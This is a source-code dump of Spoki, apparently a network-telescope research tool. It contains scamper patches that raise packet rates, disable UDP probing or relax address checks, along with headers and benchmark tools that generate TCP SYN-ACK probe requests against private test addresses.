-------------------------------------------------------------------------------- 1 | diff --git a/src/shard.cpp b/src/shard.cpp 2 | index bab60fa..9504f9a 100644 3 | --- a/src/shard.cpp 4 | +++ b/src/shard.cpp 5 | @@ -142,6 +142,8 @@ void shard_state::new_event(caf::ipv4_address addr, observation& ob) { 6 | // No cache entry found, this is either a new endpoint, an endpoint we want to 7 | // probe again or a probe reply for an endpoint in progress. 8 | if (ob.event.is()) { 9 | + // TODO: Not probing UDP here. 10 | + return; 11 | // Check if we alreasy have an entry in our cache. 12 | if (data_udp.contains(addr)) 13 | return; 14 | -------------------------------------------------------------------------------- /spoki/patches/limbo/state.diff: -------------------------------------------------------------------------------- 1 | diff --git a/src/state.cpp b/src/state.cpp 2 | index a88a218..53f8a1c 100644 3 | --- a/src/state.cpp 4 | +++ b/src/state.cpp 5 | @@ -115,14 +115,20 @@ void local::add_packet(libtrace_packet_t *packet) { 6 | auto ip_id = ntohs(static_cast(ip_hdr->ip_id)); 7 | auto tp = cs::to_time_point(trace_get_timeval(packet)); 8 | auto saddr = caf::ipv4_address::from_bits(ip_hdr->ip_src.s_addr); 9 | + // We trust that the multicast socket gives us the correct packets. 10 | + /* 11 | // Sanity check source address. 12 | if (network.contains(saddr) || filter.count(saddr) > 0) 13 | return; 14 | + */ 15 | auto daddr = caf::ipv4_address::from_bits(ip_hdr->ip_dst.s_addr); 16 | + // We trust that the multicast socket gives us the correct packets. 17 | + /* 18 | // Sanity check destination address. 19 | if (!network.contains(daddr) || filter.count(daddr) > 0 20 | || daddr.is_multicast() || daddr.is_loopback()) 21 | return; 22 | + */ 23 | auto probe_data = make_event(packet, saddr, daddr); 24 | if (!probe_data) 25 | break; 26 | -------------------------------------------------------------------------------- /spoki/patches/patch-ping-tcp-win.txt: -------------------------------------------------------------------------------- 1 | Index: scamper/ping/scamper_ping_do.c 2 | =================================================================== 3 | RCS file: /home/mjl/cvsroot/scamper/scamper/ping/scamper_ping_do.c,v 4 | retrieving revision 1.153 5 | diff -u -p -r1.153 scamper_ping_do.c 6 | --- scamper/ping/scamper_ping_do.c 12 Jul 2019 23:37:57 -0000 1.153 7 | +++ scamper/ping/scamper_ping_do.c 17 Jul 2019 01:28:25 -0000 8 | @@ -1104,6 +1104,7 @@ static void do_ping_probe(scamper_task_t 9 | probe.pr_tcp_sport = ping->probe_sport; 10 | probe.pr_tcp_seq = ping->probe_tcpseq; 11 | probe.pr_tcp_ack = ping->probe_tcpack; 12 | + probe.pr_tcp_win = 65535; 13 | 14 | if(ping->probe_method == SCAMPER_PING_METHOD_TCP_ACK) 15 | { 16 | -------------------------------------------------------------------------------- /spoki/patches/patch-pingtimes.txt: -------------------------------------------------------------------------------- 1 | --- scamper/ping/scamper_ping_do.c 2019-07-28 10:42:37.000000000 +0200 2 | +++ scamper/ping/scamper_ping_do.c 2019-11-20 13:22:44.000000000 +0100 3 | @@ -59,7 +59,7 @@ 4 | #define SCAMPER_DO_PING_PROBECOUNT_DEF 4 5 | #define SCAMPER_DO_PING_PROBECOUNT_MAX 65535 6 | 7 | -#define SCAMPER_DO_PING_PROBEWAIT_US_MIN 1000 8 | +#define SCAMPER_DO_PING_PROBEWAIT_US_MIN 0 9 | #define SCAMPER_DO_PING_PROBEWAIT_DEF 1 10 | #define SCAMPER_DO_PING_PROBEWAIT_MAX 20 11 | 12 | @@ -93,7 +93,7 @@ 13 | #define SCAMPER_DO_PING_PATTERN_DEF 0 14 | #define SCAMPER_DO_PING_PATTERN_MAX 32 15 | 16 | -#define SCAMPER_DO_PING_PROBETIMEOUT_MIN 1 17 | +#define SCAMPER_DO_PING_PROBETIMEOUT_MIN 0 18 | #define SCAMPER_DO_PING_PROBETIMEOUT_MAX 255 19 | 20 | /* the callback functions registered with the ping task */ 21 | -------------------------------------------------------------------------------- /spoki/patches/patch-ppsmax.txt: -------------------------------------------------------------------------------- 1 | --- scamper-orig/scamper.h 2021-11-09 15:27:15.000000000 +0100 2 | +++ scamper/scamper.h 2021-11-09 15:25:13.000000000 +0100 3 | @@ -28,7 +28,7 @@ 4 | 5 | #define SCAMPER_OPTION_PPS_MIN 1 6 | #define SCAMPER_OPTION_PPS_DEF 20 7 | -#define SCAMPER_OPTION_PPS_MAX 10000 8 | +#define SCAMPER_OPTION_PPS_MAX 30000 9 | int scamper_option_pps_get(void); 10 | int scamper_option_pps_set(const int pps); 11 | 12 | -------------------------------------------------------------------------------- /spoki/patches/writebuf-scamper.patch: -------------------------------------------------------------------------------- 1 | --- scamper/Makefile.am 2015-10-16 22:54:04.000000000 -0700 2 | +++ scamper/Makefile.am 2015-05-13 09:16:12.000000000 -0700 3 | @@ -11,6 +11,7 @@ lib_LTLIBRARIES = libscamperfile.la 4 | libscamperfile_la_LDFLAGS = -version-info 0:0:0 5 | 6 | libscamperfile_la_SOURCES = \ 7 | + ../mjl_list.c \ 8 | ../mjl_splaytree.c \ 9 | ../utils.c \ 10 | scamper_file.c \ 11 | @@ -20,6 +21,8 @@ libscamperfile_la_SOURCES = \ 12 | scamper_addr.c \ 13 | scamper_list.c \ 14 | scamper_icmpext.c \ 15 | + scamper_writebuf.c \ 16 | + scamper_linepoll.c \ 17 | trace/scamper_trace.c \ 18 | trace/scamper_trace_warts.c \ 19 | trace/scamper_trace_text.c \ 20 | @@ -139,6 +142,8 @@ include_HEADERS = \ 21 | scamper_addr.h \ 22 | scamper_list.h \ 23 | scamper_icmpext.h \ 24 | + scamper_writebuf.h \ 25 | + scamper_linepoll.h \ 26 | trace/scamper_trace.h \ 27 | ping/scamper_ping.h \ 28 | tracelb/scamper_tracelb.h \ 29 | -------------------------------------------------------------------------------- /spoki/tools/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | add_custom_target(all_tools) 2 | 3 | file(GLOB_RECURSE SPOKI_TOOLS_HDRS "hdr/*.hpp") 4 | 5 | include_directories( 6 | ${SPOKI_HEADERS} 7 | ${LIBSPOKI_INCLUDE_DIRS} 8 | ${CAF_INCLUDE_DIRS} 9 | ${SCAMPER_INCLUDE_DIR} 10 | ${TRACE_INCLUDE_DIR} 11 | ${WANDIO_INCLUDE_DIR} 12 | hdr 13 | ) 14 | 15 | function(add_tool folder name) 16 | add_executable(${name} ${folder}/${name}.cpp ${ARGN}) 17 | set_property(TARGET ${name} PROPERTY CXX_STANDARD 17) 18 | install(FILES ${folder}/${name}.cpp DESTINATION ${CMAKE_INSTALL_DATADIR}/spoki/tools) 19 | add_dependencies(${name} all_tools) 20 | endfunction() 21 | 22 | function(add_spoki_tool folder name) 23 | add_tool(${folder} ${name} ${SPOKI_TOOLS_HDRS} ${ARGN}) 24 | target_link_libraries( 25 | ${name} 26 | SPOKI::core 27 | # ${LDFLAGS} 28 | ${SCAMPER_LIBRARY} 29 | ${TRACE_LIBRARY} 30 | ${WANDIO_LIBRARY} 31 | CAF::core 32 | CAF::io 33 | nlohmann_json::nlohmann_json 34 | ) 35 | endfunction() 36 | 37 | add_spoki_tool(src measure_stringify) 38 | add_spoki_tool(src measure_stores) 39 | add_spoki_tool(src measure_driver) 40 | add_spoki_tool(src measure_unix) 41 | add_spoki_tool(src filter) 42 | add_spoki_tool(src measure_io) 43 | add_spoki_tool(src udprober src/udp_processor.cpp src/batch_reader.cpp) 44 | add_spoki_tool(src udproberd) 45 | add_spoki_tool(src spoki src/is_ip_address.cpp) 46 | 47 | # Some performance measurements. 48 | add_spoki_tool(src/perf spoki-ingest src/perf/counting.cpp) 49 | add_spoki_tool(src/perf spoki-core src/perf/counting.cpp src/perf/packet_provider.cpp) 50 | add_spoki_tool(src/perf spoki-io src/perf/counting.cpp) 51 | add_spoki_tool(src/perf spoki-scamper src/is_ip_address.cpp) 52 | 53 | -------------------------------------------------------------------------------- /spoki/tools/README.md: -------------------------------------------------------------------------------- 1 | # A collection of tools based on libcs 2 | 3 | ## Spoki 4 | 5 | This program is meant to run long time, get data from the telescope and probe the IP using scamper. It caches data to avoid probing the same IPs repeatedly in a short interval. See the example `caf-application.conf` file for configuraton options. 6 | 7 | ## Perf 8 | 9 | There are a bunch of measurement versions of Spoki here. They only implement part of the processing and were used to measure the individual components. 10 | -------------------------------------------------------------------------------- /spoki/tools/hdr/batch_reader.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2019 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | #include 18 | 19 | struct brs { 20 | std::ifstream in; 21 | static const char* name; 22 | ~brs() { 23 | std::cerr << "batch reader shutting down" << std::endl; 24 | } 25 | }; 26 | 27 | caf::behavior batch_reader(caf::stateful_actor* self, 28 | const std::string& name); 29 | 30 | -------------------------------------------------------------------------------- /spoki/tools/hdr/is_ip_address.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2019 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | #include 17 | 18 | namespace spoki { 19 | 20 | bool is_ip_address(const std::string& addr); 21 | 22 | bool is_valid_host(const std::string& addr); 23 | 24 | } // namespace spoki 25 | -------------------------------------------------------------------------------- /spoki/tools/hdr/perf/counting.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | #include "spoki/atoms.hpp" 18 | #include "spoki/probe/request.hpp" 19 | 20 | namespace perf { 21 | 22 | struct counts { 23 | uint32_t requests; 24 | uint32_t stats; 25 | static const char* name; 26 | }; 27 | 28 | caf::behavior counter(caf::stateful_actor* self); 29 | 30 | caf::behavior aggregator(caf::stateful_actor* self, caf::actor cntr); 31 | 32 | } // namespace perf 33 | -------------------------------------------------------------------------------- /spoki/tools/hdr/perf/packet_provider.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | #include "spoki/atoms.hpp" 18 | #include "spoki/packet.hpp" 19 | 20 | namespace perf { 21 | 22 | struct packet_info { 23 | /// State for our packet. 24 | spoki::packet pkt; 25 | 26 | /// This actors name or debugging. 27 | static const char* name; 28 | 29 | // State for packet building. 30 | uint32_t daddr = 1; 31 | uint32_t daddr_prefix = 0x0A800000; 32 | uint32_t daddr_suffix_max = 0x007fffff; 33 | const uint8_t ttl = 202; 34 | const uint16_t ipid = 8247; 35 | }; 36 | 37 | caf::behavior packet_provider(caf::stateful_actor* self, 38 | std::vector router, uint32_t pps); 39 | } // namespace perf 40 | -------------------------------------------------------------------------------- /spoki/tools/hdr/udp_processor.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2019 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #include 21 | #include 22 | 23 | #include "spoki/atoms.hpp" 24 | #include "spoki/hashing.hpp" 25 | 26 | namespace up { 27 | 28 | struct endpoint; 29 | 30 | } // namespace up 31 | 32 | CAF_BEGIN_TYPE_ID_BLOCK(spoki_tools_udp_processor, spoki::detail::spoki_core_end) 33 | 34 | CAF_ADD_TYPE_ID(spoki_tools_udp_processor, (up::endpoint)) 35 | CAF_ADD_TYPE_ID(spoki_tools_udp_processor, (std::vector)) 36 | 37 | CAF_END_TYPE_ID_BLOCK(spoki_tools_udp_processor) 38 | 39 | namespace up { 40 | 41 | struct endpoint { 42 | caf::ipv4_address saddr; 43 | caf::ipv4_address daddr; 44 | uint16_t sport; 45 | uint16_t dport; 46 | std::vector payload; 47 | }; 48 | 49 | template 50 | typename Inspector::result_type inspect(Inspector& f, endpoint& e) { 51 | return f(e.saddr, e.daddr, e.sport, e.dport, e.payload); 52 | } 53 | 54 | } // namespace up 55 | 56 | namespace std { 57 | 58 | template <> 59 | struct hash { 60 | size_t operator()(const up::endpoint& ep) const { 61 | size_t seed = 0; 62 | spoki::hash_combine(seed, ep.dport); 63 | spoki::hash_combine(seed, ep.sport); 64 | spoki::hash_combine(seed, ep.daddr.bits()); 65 | spoki::hash_combine(seed, ep.saddr.bits()); 66 | // spoki::hash_combine(seed, ep.payload); 67 | return seed; 68 | } 69 | }; 70 | 71 | template <> 72 | struct equal_to { 73 | bool operator()(const up::endpoint& lhs, const up::endpoint& rhs) const { 74 | return lhs.saddr == rhs.saddr && lhs.daddr == rhs.daddr 75 | && lhs.sport == rhs.sport && lhs.dport == rhs.dport; 76 | } 77 | }; 78 | 79 | } // namespace std 80 | 81 | namespace up { 82 | 83 | using clock = std::chrono::system_clock; 84 | using time_point = clock::time_point; 85 | 86 | // UDP-processor state. 87 | struct ups { 88 | ups(caf::event_based_actor* self); 89 | ~ups(); 90 | 91 | // Request more targets if only a few are in progress. 92 | void request_more(); 93 | void start_probes(); 94 | void start_probe(caf::ipv4_address addr); 95 | void retransmit(caf::ipv4_address addr); 96 | void new_target(endpoint& ep); 97 | 98 | void next_out_file(); 99 | void append(caf::ipv4_address addr, uint16_t port, caf::string_view proto, 100 | const std::vector& payload = {}); 101 | 102 | std::unordered_map> pending; 103 | std::unordered_map> 104 | in_progress; 105 | std::unordered_map finished; 106 | 107 | bool asked; 108 | caf::ipv4_address host; 109 | caf::actor source; 110 | caf::actor prober; 111 | 112 | // File handle to write to. 113 | std::ofstream out; 114 | 115 | static const char* name; 116 | caf::event_based_actor* self; 117 | }; 118 | 119 | caf::behavior udp_processor(caf::stateful_actor* self, caf::actor prober, 120 | caf::actor source, caf::ipv4_address host); 121 | 122 | } // namespace up 123 | -------------------------------------------------------------------------------- /spoki/tools/src/batch_reader.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include "batch_reader.hpp" 3 | 4 | #include 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | #include "spoki/atoms.hpp" 11 | 12 | #include "udp_processor.hpp" 13 | 14 | namespace { 15 | 16 | void down_handler(caf::scheduled_actor* ptr, caf::down_msg& msg) { 17 | aout(ptr) << ptr->name() << "got down message from " << to_string(msg.source) 18 | << " with reason " << caf::to_string(msg.reason) << std::endl; 19 | } 20 | 21 | void exit_handler(caf::scheduled_actor* ptr, caf::exit_msg& msg) { 22 | aout(ptr) << ptr->name() << "got exit message from " << to_string(msg.source) 23 | << " with reason " << caf::to_string(msg.reason) << std::endl; 24 | } 25 | 26 | } // namespace 27 | 28 | const char* brs::name = "batch_reader"; 29 | 30 | caf::behavior batch_reader(caf::stateful_actor* self, 31 | const std::string& name) { 32 | self->set_down_handler(down_handler); 33 | self->set_exit_handler(exit_handler); 34 | auto& s = self->state; 35 | s.in.open(name); 36 | if (!s.in.is_open()) { 37 | return {}; 38 | } 39 | return { 40 | [=](spoki::request_atom, uint32_t num) { 41 | caf::actor dst = caf::actor_cast(self->current_sender()); 42 | std::vector batch; 43 | batch.reserve(num); 44 | uint32_t collected = 0; 45 | std::string buf; 46 | while (collected < num && getline(self->state.in, buf)) { 47 | caf::string_view line{buf}; 48 | auto none_ws = line.find_first_not_of(' '); 49 | line.remove_prefix(none_ws); 50 | if (caf::starts_with(line, "#")) 51 | continue; 52 | std::vector splits; 53 | caf::split(splits, line, ","); 54 | // expecting: src ip, dst ip, src port, dst port, pl 55 | if (splits.size() != 5) { 56 | aout(self) << "Line not well formated: '" << line << "'" << std::endl; 57 | continue; 58 | } 59 | batch.emplace_back(); 60 | auto& ep = batch.back(); 61 | auto res = caf::parse(splits[0], ep.saddr); 62 | if (res) { 63 | aout(self) << "Could not parse addr form '" << splits[0] << "'" 64 | << std::endl; 65 | batch.pop_back(); 66 | continue; 67 | } 68 | res = caf::parse(splits[1], ep.daddr); 69 | if (res) { 70 | aout(self) << "Could not parse addr form '" << splits[0] << "'" 71 | << std::endl; 72 | batch.pop_back(); 73 | continue; 74 | } 75 | ep.sport = static_cast(stol(splits[2])); 76 | ep.dport = static_cast(stol(splits[3])); 77 | std::copy(splits[4].begin(), splits[4].end(), 78 | std::back_inserter(ep.payload)); 79 | ++collected; 80 | } 81 | self->send(dst, std::move(batch)); 82 | }, 83 | [=](spoki::done_atom) { 84 | self->state.in.close(); 85 | self->quit(); 86 | }, 87 | }; 88 | } 89 | -------------------------------------------------------------------------------- /spoki/tools/src/is_ip_address.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2019 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include "is_ip_address.hpp" 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | namespace spoki { 27 | 28 | bool is_ip_address(const std::string& addr) { 29 | struct sockaddr_in sa; 30 | return inet_pton(AF_INET, addr.c_str(), &(sa.sin_addr)) != 0; 31 | } 32 | 33 | bool is_valid_host(const std::string& addr) { 34 | addrinfo hint; 35 | memset(&hint, 0, sizeof(hint)); 36 | hint.ai_socktype = SOCK_STREAM; 37 | hint.ai_family = AF_UNSPEC; 38 | addrinfo* tmp = nullptr; 39 | if (getaddrinfo(addr.c_str(), nullptr, &hint, &tmp) != 0) 40 | return false; 41 | return true; 42 | } 43 | 44 | } // namespace spoki 45 | -------------------------------------------------------------------------------- /spoki/tools/src/measure_driver.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | #include "spoki/all.hpp" 7 | #include "spoki/probe/request.hpp" 8 | #include "spoki/scamper/driver.hpp" 9 | #include "spoki/scamper/manager.hpp" 10 | 11 | // -- config ------------------------------------------------------------------- 12 | 13 | class config : public caf::actor_system_config { 14 | public: 15 | std::string host = "localhost"; 16 | uint16_t port = 12001; 17 | bool with_manager = false; 18 | size_t pps = 10000; 19 | 20 | config() { 21 | opt_group{custom_options_, "global"} 22 | .add(host, "host,H", "set hostname") 23 | .add(port, "port,P", "set port") 24 | .add(with_manager, "with-manger,m", "start with manager") 25 | .add(pps, "pps,p", "set probing rate (probes per second)"); 26 | } 27 | }; 28 | 29 | struct producer_state { 30 | uint32_t daddr_prefix = 0x0A800000; 31 | //uint32_t daddr_prefix = 0x08000000; 32 | uint32_t daddr_suffix_max = 0x007fffff; 33 | //uint32_t daddr_suffix_max = 0x00ffffff; 34 | uint32_t daddr = 1; 35 | uint32_t user_id_counter = 0; 36 | spoki::probe::request req; 37 | }; 38 | 39 | caf::behavior producer(caf::stateful_actor* self, 40 | caf::actor consumer, size_t num) { 41 | self->delayed_send(self, std::chrono::seconds(1), spoki::tick_atom_v); 42 | auto& s = self->state; 43 | s.user_id_counter = 0; 44 | s.req.probe_method = spoki::probe::method::tcp_synack; 45 | //s.req.saddr = caf::ipv4_address::from_bits(0x01020308); 46 | s.req.saddr = caf::ipv4_address::from_bits(0x0102030a); 47 | s.req.sport = 1337; 48 | s.req.dport = 80; 49 | s.req.anum = 123881; 50 | s.req.num_probes = 1; 51 | return { 52 | [=](spoki::tick_atom) { 53 | // aout(self) << "tick" << std::endl; 54 | self->delayed_send(self, std::chrono::seconds(1), spoki::tick_atom_v); 55 | auto& s = self->state; 56 | for (size_t i = 0; i < num; ++i) { 57 | // TODO: update request. 58 | s.req.user_id = ++s.user_id_counter; 59 | s.daddr = ((s.daddr + 1) & s.daddr_suffix_max); 60 | auto complete_daddr = htonl(s.daddr | s.daddr_prefix); 61 | s.req.daddr = caf::ipv4_address::from_bits(complete_daddr); 62 | //aout(self) << "Request: " << spoki::probe::make_command(s.req); 63 | self->send(consumer, s.req, true); 64 | } 65 | }, 66 | }; 67 | } 68 | 69 | void caf_main(caf::actor_system& system, const config& cfg) { 70 | if (cfg.with_manager) { 71 | auto mgr = system.spawn(spoki::scamper::manager, "testing", cfg.host, 72 | cfg.port); 73 | system.spawn(producer, mgr, cfg.pps); 74 | system.await_all_actors_done(); 75 | } else { 76 | // This requires the drver to generate probe request itself. That code is no 77 | // longer there, but easily added. 78 | std::cerr << "CURRENTLY NOT SUPPORTED (use -m)\n"; 79 | return; 80 | auto drv = spoki::scamper::driver::make(system, cfg.host, cfg.port); 81 | drv->join(); 82 | } 83 | } 84 | 85 | CAF_MAIN(caf::id_block::spoki_core, caf::io::middleman) 86 | -------------------------------------------------------------------------------- /spoki/tools/src/measure_stores.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2019 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #include 20 | 21 | #include "spoki/cache/entry.hpp" 22 | #include "spoki/cache/rotating_store.hpp" 23 | #include "spoki/cache/store.hpp" 24 | #include "spoki/time.hpp" 25 | 26 | namespace { 27 | 28 | spoki::timestamp make_test_ts(long val) { 29 | return spoki::timestamp{spoki::timestamp::duration{val}}; 30 | } 31 | 32 | } // namespace 33 | 34 | int main() { 35 | using val_vec = std::vector>; 36 | val_vec values; 37 | const auto num = 20000000; 38 | std::cout << "Creating " << num << " values for our test" << std::endl; 39 | for (int i = 0; i < num; ++i) 40 | values.push_back(std::make_pair(caf::ipv4_address::from_bits(i), 41 | spoki::cache::entry{make_test_ts(i), true})); 42 | const auto subset_size = 1000000; 43 | std::cout << "Separating values into subsets of " << (subset_size * 3) 44 | << std::endl; 45 | std::vector subsets; 46 | for (int i = 0; i < num; i += subset_size) 47 | subsets.push_back( 48 | val_vec(std::begin(values) + i, std::begin(values) + i + subset_size)); 49 | for (auto& sub : subsets) 50 | if (sub.size() != subset_size) 51 | std::cout << "not the right size: " << sub.size() << std::endl; 52 | 53 | // Make larger, overlapping subsets 54 | for (size_t i = 0; i < (subsets.size() - 2); ++i) { 55 | subsets[i].insert(std::end(subsets[i]), std::begin(subsets[i + 1]), 56 | std::end(subsets[i + 1])); 57 | subsets[i].insert(std::end(subsets[i]), std::begin(subsets[i + 2]), 58 | std::end(subsets[i + 2])); 59 | } 60 | subsets.pop_back(); 61 | subsets.pop_back(); 62 | 63 | for (auto& sub : subsets) 64 | if (sub.size() != 3 * subset_size) 65 | std::cout << "not the right size: " << sub.size() << std::endl; 66 | 67 | std::cout << "Randomizing subsets" << std::endl; 68 | auto rng = std::default_random_engine{}; 69 | for (auto& sub : subsets) 70 | std::shuffle(std::begin(sub), std::end(sub), rng); 71 | 72 | std::cout << "Starting ..." << std::endl; 73 | auto start = std::chrono::system_clock::now(); 74 | /* 75 | spoki::cache::rotating_store rs; 76 | for (auto& s : subsets) { 77 | auto i = 0; 78 | for (auto& e : s) { 79 | ++i; 80 | if (!rs.contains(e.first)) 81 | rs.insert(e.first, e.second); 82 | if (i % subset_size == 0) 83 | rs.rotate(); 84 | } 85 | } 86 | */ 87 | std::random_device 88 | rd; // Will be used to obtain a seed for the random number engine 89 | std::mt19937 gen(rd()); // Standard mersenne_twister_engine seeded with rd() 90 | std::uniform_int_distribution<> dis(1, 4); 91 | spoki::cache::store st; 92 | auto j = 0; 93 | for (auto& s : subsets) { 94 | auto i = 0; 95 | for (auto& e : s) { 96 | ++i; 97 | if (!st.contains(e.first)) 98 | st.merge(e.first, e.second); 99 | if (i % subset_size == 0) { 100 | ++j; 101 | if (j > 4) { 102 | auto cmp = make_test_ts((j - 3) * subset_size); 103 | st.remove_if([&](const spoki::cache::store::value_type& val) { 104 | // val types: (ipv4_address, (timestamp, bool)) 105 | return val.second.ts < cmp && dis(gen) > 1; 106 | }); 107 | } 108 | } 109 | } 110 | } 111 | auto end = std::chrono::system_clock::now(); 112 | auto diff = end - start; 113 | std::cout 114 | << "took: " 115 | << std::chrono::duration_cast(diff).count() 116 | << "ms" << std::endl; 117 | } 118 | -------------------------------------------------------------------------------- /spoki/tools/src/measure_stringify.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | 9 | #include "spoki/all.hpp" 10 | #include "spoki/probe/request.hpp" 11 | 12 | // SPOKI_CORE_EXPORT std::string make_tcp_synack_probe_pe(const request& req); 13 | // SPOKI_CORE_EXPORT std::string make_tcp_synack_probe_ss(const request& req); 14 | 15 | constexpr auto runs = size_t{800000}; 16 | 17 | long long measure_ss(spoki::probe::request req) { 18 | std::vector data; 19 | data.reserve(runs); 20 | auto startTime = std::chrono::high_resolution_clock::now(); 21 | for (size_t i = 0; i < runs; ++i) { 22 | data.emplace_back(spoki::probe::make_tcp_synack_probe_ss(req)); 23 | } 24 | auto endTime = std::chrono::high_resolution_clock::now(); 25 | return std::chrono::duration_cast(endTime - startTime).count(); 26 | } 27 | 28 | long long measure_pe(spoki::probe::request req) { 29 | std::vector data; 30 | data.reserve(runs); 31 | auto startTime = std::chrono::high_resolution_clock::now(); 32 | for (size_t i = 0; i < runs; ++i) { 33 | data.emplace_back(spoki::probe::make_tcp_synack_probe_pe(req)); 34 | } 35 | auto endTime = std::chrono::high_resolution_clock::now(); 36 | return std::chrono::duration_cast(endTime - startTime).count(); 37 | } 38 | 39 | void caf_main(caf::actor_system& system, const caf::actor_system_config&) { 40 | 41 | spoki::probe::request req; 42 | req.user_id = 123812; 43 | req.probe_method = spoki::probe::method::tcp_synack; 44 | req.saddr = caf::ipv4_address::from_bits(0x01020308); 45 | req.daddr = caf::ipv4_address::from_bits(0x02020408); 46 | req.sport = 1337; 47 | req.dport = 80; 48 | req.anum = 123881; 49 | req.num_probes = 1; 50 | 51 | std::cout << "pe: " << measure_pe(req) << "ms\n"; 52 | std::cout << "ss: " << measure_ss(req) << "ms\n"; 53 | } 54 | 55 | CAF_MAIN(caf::id_block::spoki_core, caf::io::middleman) 56 | -------------------------------------------------------------------------------- /spoki/tools/src/measure_unix.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | #include "spoki/all.hpp" 7 | #include "spoki/probe/request.hpp" 8 | #include "spoki/scamper/driver.hpp" 9 | #include "spoki/scamper/manager.hpp" 10 | 11 | // -- config ------------------------------------------------------------------- 12 | 13 | class config : public caf::actor_system_config { 14 | public: 15 | std::string name = "/tmp/scmp001"; 16 | bool with_manager = false; 17 | size_t pps = 10000; 18 | 19 | config() { 20 | opt_group{custom_options_, "global"} 21 | .add(name, "name,n", "set unix domain socket name") 22 | .add(with_manager, "with-manger,m", "start with manager") 23 | .add(pps, "pps,p", "set probing rate (probes per second)"); 24 | } 25 | }; 26 | 27 | struct producer_state { 28 | uint32_t daddr_prefix = 0x0A800000; 29 | //uint32_t daddr_prefix = 0x08000000; 30 | uint32_t daddr_suffix_max = 0x007fffff; 31 | //uint32_t daddr_suffix_max = 0x00ffffff; 32 | uint32_t daddr = 1; 33 | uint32_t user_id_counter = 0; 34 | spoki::probe::request req; 35 | }; 36 | 37 | caf::behavior producer(caf::stateful_actor* self, 38 | caf::actor consumer, size_t num) { 39 | self->delayed_send(self, std::chrono::seconds(1), spoki::tick_atom_v); 40 | auto& s = self->state; 41 | s.user_id_counter = 0; 42 | s.req.probe_method = spoki::probe::method::tcp_synack; 43 | //s.req.saddr = caf::ipv4_address::from_bits(0x01020308); 44 | s.req.saddr = caf::ipv4_address::from_bits(0x0102030a); 45 | s.req.sport = 1337; 46 | s.req.dport = 80; 47 | s.req.anum = 123881; 48 | s.req.num_probes = 1; 49 | return { 50 | [=](spoki::tick_atom) { 51 | // aout(self) << "tick" << std::endl; 52 | self->delayed_send(self, std::chrono::seconds(1), spoki::tick_atom_v); 53 | auto& s = self->state; 54 | for (size_t i = 0; i < num; ++i) { 55 | // TODO: update request. 56 | s.req.user_id = ++s.user_id_counter; 57 | s.daddr = ((s.daddr + 1) & s.daddr_suffix_max); 58 | auto complete_daddr = htonl(s.daddr | s.daddr_prefix); 59 | s.req.daddr = caf::ipv4_address::from_bits(complete_daddr); 60 | //aout(self) << "Request: " << spoki::probe::make_command(s.req); 61 | self->send(consumer, s.req, true); 62 | } 63 | }, 64 | }; 65 | } 66 | 67 | void caf_main(caf::actor_system& system, const config& cfg) { 68 | if (cfg.with_manager) { 69 | auto mgr = system.spawn(spoki::scamper::manager_unix, "testing", cfg.name); 70 | system.spawn(producer, mgr, cfg.pps); 71 | system.await_all_actors_done(); 72 | } else { 73 | // This requires the drver to generate probe request itself. That code is no 74 | // longer there, but easily added. 75 | std::cerr << "CURRENTLY NOT SUPPORTED (use -m)\n"; 76 | return; 77 | auto drv = spoki::scamper::driver::make(system, cfg.name); 78 | drv->join(); 79 | } 80 | } 81 | 82 | CAF_MAIN(caf::id_block::spoki_core, caf::io::middleman) 83 | -------------------------------------------------------------------------------- /spoki/tools/src/perf/counting.cpp: 